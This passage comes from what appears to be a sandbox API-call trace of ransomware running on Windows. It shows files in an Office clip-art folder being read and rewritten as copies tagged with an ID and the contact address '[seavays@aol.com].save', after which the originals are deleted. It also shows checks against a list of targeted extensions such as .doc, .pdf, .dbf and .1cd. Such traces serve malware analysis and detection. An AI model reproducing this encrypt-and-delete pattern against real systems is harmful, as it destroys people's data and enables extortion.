dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.172] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.173] GetLastError () returned 0x0 [0163.173] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2a92, lpOverlapped=0x0) returned 1 [0163.176] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0163.497] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0163.498] WriteFile (in: hFile=0x3a4, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0163.498] SetEndOfFile (hFile=0x3a4) returned 1 [0163.498] CloseHandle (hObject=0x3a4) returned 1 [0163.498] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.499] SetEndOfFile (hFile=0x344) returned 1 [0163.502] CloseHandle (hObject=0x344) returned 1 [0163.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0163.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0164.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.258] lstrlenW (lpString=".doc") returned 4 [0164.258] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.258] lstrlenW (lpString=".docx") returned 5 [0164.258] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0164.258] lstrlenW (lpString=".pdf") returned 4 [0164.258] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.258] lstrlenW (lpString=".xls") returned 4 [0164.258] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.258] lstrlenW (lpString=".xlsx") returned 5 [0164.258] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0164.258] lstrlenW (lpString=".ppt") returned 4 [0164.258] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.258] lstrlenW (lpString=".zip") returned 4 [0164.258] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.258] lstrlenW (lpString=".rar") returned 4 [0164.258] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.258] lstrlenW (lpString=".bz2") returned 4 [0164.258] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.258] lstrlenW (lpString=".7z") returned 3 [0164.258] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.258] lstrlenW (lpString=".dbf") returned 4 [0164.258] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.258] lstrlenW (lpString=".1cd") returned 4 [0164.259] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.259] lstrlenW (lpString=".jpg") returned 4 [0164.259] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.259] lstrlenW (lpString=".doc") returned 4 [0164.259] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.259] lstrlenW (lpString=".docx") returned 5 [0164.259] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0164.259] lstrlenW (lpString=".pdf") returned 4 [0164.259] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.259] lstrlenW (lpString=".xls") returned 4 [0164.259] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.259] lstrlenW (lpString=".xlsx") returned 5 [0164.259] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0164.259] lstrlenW (lpString=".ppt") returned 4 [0164.259] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.259] lstrlenW (lpString=".zip") returned 4 [0164.259] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.259] lstrlenW (lpString=".rar") returned 4 [0164.259] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.259] lstrlenW (lpString=".bz2") returned 4 [0164.259] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.260] lstrlenW (lpString=".7z") returned 3 [0164.260] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.260] lstrlenW (lpString=".dbf") returned 4 [0164.260] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.260] lstrlenW (lpString=".1cd") returned 4 [0164.260] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0164.260] lstrlenW (lpString=".jpg") returned 4 [0164.260] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.260] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0164.260] lstrlenW (lpString="J0099202.GIF") returned 12 [0164.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0164.407] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4967) returned 1 [0164.407] CloseHandle (hObject=0x454) returned 1 [0164.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0164.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.434] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.434] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0164.435] GetLastError () returned 0x0 [0164.435] ReadFile (in: hFile=0x4a0, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1367, lpOverlapped=0x0) returned 1 [0164.437] WriteFile (in: hFile=0x454, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1370, lpOverlapped=0x0) returned 1 [0164.439] ReadFile (in: hFile=0x4a0, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0164.439] WriteFile (in: hFile=0x454, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0164.439] SetEndOfFile (hFile=0x454) returned 1 [0164.439] CloseHandle (hObject=0x454) returned 1 [0164.439] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.439] SetEndOfFile (hFile=0x4a0) returned 1 [0164.442] CloseHandle (hObject=0x4a0) returned 1 [0164.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0164.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0164.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.444] lstrlenW (lpString=".doc") returned 4 [0164.444] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.444] lstrlenW (lpString=".docx") returned 5 [0164.444] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0164.444] lstrlenW (lpString=".pdf") returned 4 [0164.444] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.444] lstrlenW (lpString=".xls") returned 4 [0164.444] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.444] lstrlenW (lpString=".xlsx") returned 5 [0164.444] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0164.444] lstrlenW (lpString=".ppt") returned 4 [0164.444] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.444] lstrlenW (lpString=".zip") returned 4 [0164.445] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.445] lstrlenW (lpString=".rar") returned 4 [0164.445] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.445] lstrlenW (lpString=".bz2") returned 4 [0164.445] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.445] lstrlenW (lpString=".7z") returned 3 [0164.445] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.445] lstrlenW (lpString=".dbf") returned 4 [0164.445] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.445] lstrlenW (lpString=".1cd") returned 4 [0164.445] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.445] lstrlenW (lpString=".jpg") returned 4 [0164.445] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.445] lstrlenW (lpString=".doc") returned 4 [0164.445] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.445] lstrlenW (lpString=".docx") returned 5 [0164.445] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0164.445] lstrlenW (lpString=".pdf") returned 4 [0164.445] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.445] lstrlenW (lpString=".xls") returned 4 [0164.445] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.445] lstrlenW (lpString=".xlsx") returned 5 [0164.446] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0164.446] lstrlenW (lpString=".ppt") returned 4 [0164.446] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.446] lstrlenW (lpString=".zip") returned 4 [0164.446] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.446] lstrlenW (lpString=".rar") returned 4 [0164.446] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.446] lstrlenW (lpString=".bz2") returned 4 [0164.446] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.446] lstrlenW (lpString=".7z") returned 3 [0164.446] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.446] lstrlenW (lpString=".dbf") returned 4 [0164.446] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.446] lstrlenW (lpString=".1cd") returned 4 [0164.446] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0164.446] lstrlenW (lpString=".jpg") returned 4 [0164.446] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.446] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0164.446] lstrlenW (lpString="J0099203.GIF") returned 12 [0164.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.448] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3904) returned 1 [0164.448] CloseHandle (hObject=0x4a0) returned 1 [0164.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0164.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.448] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.449] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0164.449] GetLastError () returned 0x0 [0164.449] ReadFile (in: hFile=0x4a0, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xf40, lpOverlapped=0x0) returned 1 [0164.451] WriteFile (in: hFile=0x454, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xf50, lpOverlapped=0x0) returned 1 [0164.453] ReadFile (in: hFile=0x4a0, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0164.453] WriteFile (in: hFile=0x454, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0164.453] SetEndOfFile (hFile=0x454) returned 1 [0164.453] CloseHandle (hObject=0x454) returned 1 [0164.453] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.454] SetEndOfFile (hFile=0x4a0) returned 1 [0164.456] CloseHandle (hObject=0x4a0) returned 1 [0164.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0164.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0164.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.458] lstrlenW (lpString=".doc") returned 4 [0164.458] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.458] lstrlenW (lpString=".docx") returned 5 [0164.458] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0164.459] lstrlenW (lpString=".pdf") returned 4 [0164.459] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.459] lstrlenW (lpString=".xls") returned 4 [0164.459] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.459] lstrlenW (lpString=".xlsx") returned 5 [0164.459] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0164.459] lstrlenW (lpString=".ppt") returned 4 [0164.459] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.459] lstrlenW (lpString=".zip") returned 4 [0164.459] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.459] lstrlenW (lpString=".rar") returned 4 [0164.459] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.459] lstrlenW (lpString=".bz2") returned 4 [0164.459] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.459] lstrlenW (lpString=".7z") returned 3 [0164.459] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.459] lstrlenW (lpString=".dbf") returned 4 [0164.459] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.459] lstrlenW (lpString=".1cd") returned 4 [0164.459] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.459] lstrlenW (lpString=".jpg") returned 4 [0164.459] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.460] lstrlenW (lpString=".doc") returned 4 [0164.460] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0164.460] lstrlenW (lpString=".docx") returned 5 [0164.460] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0164.460] lstrlenW (lpString=".pdf") returned 4 [0164.460] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0164.460] lstrlenW (lpString=".xls") returned 4 [0164.460] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0164.460] lstrlenW (lpString=".xlsx") returned 5 [0164.460] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0164.460] lstrlenW (lpString=".ppt") returned 4 [0164.460] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0164.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.460] lstrlenW (lpString=".zip") returned 4 [0164.460] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0164.460] lstrlenW (lpString=".rar") returned 4 [0164.460] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0164.460] lstrlenW (lpString=".bz2") returned 4 [0164.460] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0164.460] lstrlenW (lpString=".7z") returned 3 [0164.460] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0164.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.460] lstrlenW (lpString=".dbf") returned 4 [0164.460] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0164.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.460] lstrlenW (lpString=".1cd") returned 4 [0164.461] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0164.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0164.461] lstrlenW (lpString=".jpg") returned 4 [0164.461] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0164.461] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0164.461] lstrlenW (lpString="J0099204.WMF") returned 12 [0164.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.462] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=17854) returned 1 [0164.462] CloseHandle (hObject=0x4a0) returned 1 [0164.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0164.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.463] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.464] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0164.812] GetLastError () returned 